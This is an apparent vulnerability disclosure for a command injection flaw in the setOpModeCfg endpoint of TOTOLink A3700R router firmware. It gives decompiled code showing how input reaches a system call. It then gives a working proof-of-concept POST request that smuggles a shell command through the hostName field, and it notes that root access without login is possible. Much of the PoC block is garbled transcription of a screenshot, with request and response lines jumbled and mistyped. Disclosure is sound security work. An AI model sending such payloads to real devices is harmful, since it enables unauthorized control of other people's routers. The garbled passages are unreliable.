

TOTOLink A3700R V9.1.2u.6134_B20201202 Has an command injection vulnerability

Overview

- Manufacturer's website information: https://www.totolink.net/
- Firmware download address: http://www.totolink.cn/home/menu/detail.html? menu_listtpl=download&id=69&ids=36

Product Information

TOTOLink A3700R V9.1.2u.6134_B20201202 router, the latest version of simulation overview:





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Vulnerability details

TOTOLINK A3700R (V9.1.2u.6134_B20201202) was found to contain a command insertion vulnerability in setOpModeCfg.This vulnerability allows an attacker to execute arbitrary commands through the "hostName" parameter.

```
nvram_set_int("rt_sta_auto", 0);
  nvram_set_int("wl_mode_x", 0);
  nvram_set_int("wl_sta_wisp", 0);
nvram_set_int("wl_sta_auto", 0);
  nvram_set_int("crpc_enable", 0);
  if ( strcmp(Var, "gw") )
    if (!strcmp(Var, "br"))
      nvram_set("wan_route_x", "IP_Bridged");
nvram_set_int("sw_mode", 3);
nvram_set_int("networkmap_fullscan", 0);
      nvram_set_int("dhcp_enable_x", 0);
      nvram_set("lan_proto_x", "1");
nvram_set("rt_guest_lan_isolate", &word_43908C);
      nvram_set("wl_guest_lan_isolate", &word_43908C);
LABEL_19:
    sub_4253F4(a1);
       sub_426B50(a1);
       sub_426810(a1);
      goto LABEL_20;
    if (!strcmp(Var, "rpt"))
l int __fastcall sub_4253F4(int a1)
2 {
3
     int String; // $v0
1
     String = cJSON_CreateString("1");
     cJSON AddItemToObject(al, "switchOpMode", String);
    sub_4241E0(11);
3
     return 1;
}
```

By calling these functions, we can ultimately call sub_4241E0 function (as shown in the last picture). By setting the proto value to 1, we can reach the default branch.V48 passes directly into the dosystem function.

```
$ grep -rnl doSystem
squashfs-root/usr/sbin/discover
squashfs-root/usr/sbin/apply
squashfs-root/lib/libshared.so
squashfs-root/www/cgi-bin/thfostat.cgi
squashfs-root/www/cgi-bin/cstecgi.cgi
squashfs-root/sbin/rc
```

The dosystem function is finally found to be implemented in this file by string matching.

```
int doSystem(int a1, ...)
{
  char v2[516]; // [sp+1Ch] [-204h] BYREF
  va_list va; // [sp+22Ch] [+Ch] BYREF

  va_start(va, a1):
    vsnprintf(v2, 0x200, a1, (va_list *)va);
    return system(v2);
}
```

Reverse analysis found that the function was called directly through the system function, which has a command injection vulnerability.

Recurring vulnerabilities and POC

In order to reproduce the vulnerability, the following steps can be followed:

1. Boot the firmware by qemu-system or other ways (real machine)

2. Attack with the following POC attacks

```
POST /cgi-bin/cstecgi.cgi HTTP/1.1
    Host: 192.168.0.1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101
    Firefox/102.0
    Accept: application/json, text/javascript, */*; q=0.01
    Accept-Language: zh-CN, zh; q=0.8, zh-TW; q=0.7, zh-HK; q=0.5, en-US; q=0.3, en; q=0.2
    Accept-Encoding: gzip, deflate
    Content-Length: 52
    Origin: http://192.168.0.1
    DNT: 1
    Connection: close
    Cookie: SESSION ID=2:1658224702:2
    Content-Type: application/x-www-form-urlencoded; charset=UTF-8
    X-Requested-With: XMLHttpRequest
    Pragma: no-cache
    Cache-Control: no-cache
    {"hostName":"admin';ps #","proto":"1","opmode":"br","topicurl":"setOpModeCfg"}
Nost: 19/2.108.0.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win84; x64; n:102.0) Gecko/20100101 Firefox/102.0

Accept: application/json, text/javascript, *7'; q=0.01

Accept-Encoding; gzjp, deflate

Conten-Length: 78

Origin: http://192.168.0.1

DNT: 1

Connection: close

Cookie: SESSION_ID=2:1658224702:2

Conten-Length: application/is-www.eform-urlencoded; charset=UTF-8
                                                                                           Connection: close
Transfer-Encoding: chunked
Date: Tue, 19 Jul 2022 15:30:57 GMT
                                                                                           Server: lighttpd/1.4.20
                                                                                                  PID USER VSZ STAT COMMAND
Content-Type: application/iv-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Pragma: no-cache
Cache-Control: no-cache
                                                                                             4 root
                                                                                            5 root
6 root
7 root
8 root
9 root
("hostName":"admin':ps #","proto":"1","opmode":"br","topicuri":"setOpModeCfg")
                                                                                             10 root
                                                                                            16 root
17 root
                                                                                                    0 SW< [khelper]
0 SW [kwoker/u:1]
0 SW [kwoker/3:1]
0 SW [kwoker/2:1]
```

The above figure shows the POC attack effect

Finally, you can write exp to get a stable root shell without authorization.